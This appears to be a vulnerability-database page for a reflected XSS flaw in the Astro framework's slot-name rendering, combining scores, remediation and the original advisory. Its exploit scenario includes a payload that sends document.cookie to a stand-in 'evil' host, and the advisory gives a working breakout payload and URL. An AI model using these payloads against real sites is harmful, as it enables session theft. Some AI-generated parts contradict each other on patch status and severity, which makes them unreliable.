Skip to main content

Astro CVE-2026-50146

| EUVDEUVD-2026-38335 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-16 https://github.com/withastro/astro GHSA-8hv8-536x-4wqp
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Astro SSR app with dynamic slot name
  2. Delivery
    Craft URL with attribute-breakout payload in slot parameter
  3. Exploit
    Send phishing link to victim
  4. Install
    Victim's browser requests SSR page
  5. C2
    Server renders unescaped slot name into data-astro-template
  6. Execute
    Injected <img onerror> executes attacker JS in origin
  7. Impact
    Steal session or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: the target Astro application runs in SSR mode (output: 'server' with a server adapter such as @astrojs/node), it renders a component using a client:* directive (e.g. client:load), and it passes attacker-influenced data (such as Astro.url.searchParams) as the slot={...} value of a child element. The victim must click or be navigated to the attacker-crafted URL (UI:R), but no authentication is required (PR:N) and no special user privileges on the server are needed. Static-only Astro sites, Astro pages that do not use client:* directives, and applications that hard-code or allowlist slot names are not exploitable.

Impact

The provided CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N (7.1 High) is consistent with a reflected XSS triggered by a victim visiting a crafted URL: network reachable, low complexity, no authentication, user interaction required. EPSS and KEV are not provided in the input, and there is no indication of active exploitation, so this should be treated as a credible but not emergency-priority issue - typical of reflected XSS in a popular SSR framework where real impact depends on which downstream applications expose user-controlled slot names. The I:H rating is debatable for a reflected XSS (most analysts would expect C:L/I:L), but is plausible if the rater considers session/account takeover via injected script; the bigger limiting factor is that exploitation only works when an Astro application actually binds untrusted input to a slot attribute, not against every Astro site by default.

Exploit ScenarioDerived

An attacker crafts a URL to an Astro SSR application that maps a query parameter into a slot name, e.g. /?tab=abc"></template></astro-island><img src=x onerror=fetch('https://evil/?c='+document.cookie)><!--, and lures a logged-in victim to click it via phishing or a malicious link. When the server renders the page, the unescaped slot name breaks out of the data-astro-template attribute and the surrounding astro-island, causing the victim's browser to execute attacker-controlled JavaScript in the application's origin. A working PoC is included in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Reflected cross-site scripting in Astro framework (versions prior to 6.3.3) allows remote attackers to inject arbitrary HTML and execute JavaScript in victim browsers when an SSR-rendered page passes user-controlled input as a slot name to a component using a client:* directive. The flaw lives in the server renderer, which interpolates the slot name into a data-astro-template attribute without HTML escaping, enabling attribute-context breakout. No public exploit identified at time of analysis beyond the reporter's PoC in the GHSA advisory, and the issue is not listed in CISA KEV.

RemediationAI

Upgrade the astro npm package to version 6.3.3 or later, which adds HTML escaping of the slot name in packages/astro/src/runtime/server/render/component.ts as described in the GHSA-8hv8-536x-4wqp advisory (https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp). If immediate upgrade is not possible, audit .astro pages for patterns where slot={...} is bound to values derived from Astro.url.searchParams, request bodies, headers, or other untrusted sources, and either hard-code the slot name, validate it against an allowlist of known slot identifiers, or wrap it with a manual HTML escape before passing it to the component - note that simply removing the client:* directive disables interactive hydration for that island and may regress UI behavior. A Content-Security-Policy without unsafe-inline can reduce impact of injected scripts but will not stop HTML-only payloads such as <img onerror>.

Affected VersionsENISA

astro < 6.3.3

Affected Packages

npm astro fix: 6.3.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Astro is a server-side rendering web framework (pkg:npm/astro) that hydrates interactive islands using client:* directives such as client:load. During SSR, packages/astro/src/runtime/server/render/component.ts builds a <template data-astro-template="KEY"> wrapper for each named slot, but the KEY value is template-literal-interpolated directly into the attribute without passing through the existing escapeHTML helper. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) instance where an output-encoding control is missing at a specific attribute sink, allowing an attacker who can influence the slot name (typically via a query parameter that feeds slot={...}) to close the attribute, the <template>, and the surrounding <astro-island>, then inject arbitrary tags such as <img src=x onerror=...>.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Reflected XSS reachable over the network without auth but needs victim click (UI:R); injected script in app origin yields scope change with limited C/I impact and no availability effect.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 22, 2026 - 20:53 NVD
HIGH MEDIUM
CVSS changed
Jun 22, 2026 - 20:53 NVD
7.1 (HIGH) 6.1 (MEDIUM)

DescriptionNVD

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

ts
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

js
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

jsx
export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />

This will render in html.

html
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

ts
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

---

Executive ViewAI

Why It Matters

A reflected cross-site scripting vulnerability in Astro framework versions prior to 6.3.3 allows remote attackers to inject malicious JavaScript through SSR-rendered pages when user input is passed as component slot names. No public exploit has been identified at time of analysis. Organizations using affected Astro versions in production face immediate risk of user session theft, credential compromise, and customer data breach.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement WAF-based XSS filtering on SSR endpoints; enforce HTML entity encoding for all user input used in component slot names; deploy strict Content Security Policy headers with script-src restrictions; disable or isolate client:* directives that accept user-controlled slot values; add request rate limiting to SSR routes; and perform targeted security code review of components handling untrusted input for slots.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy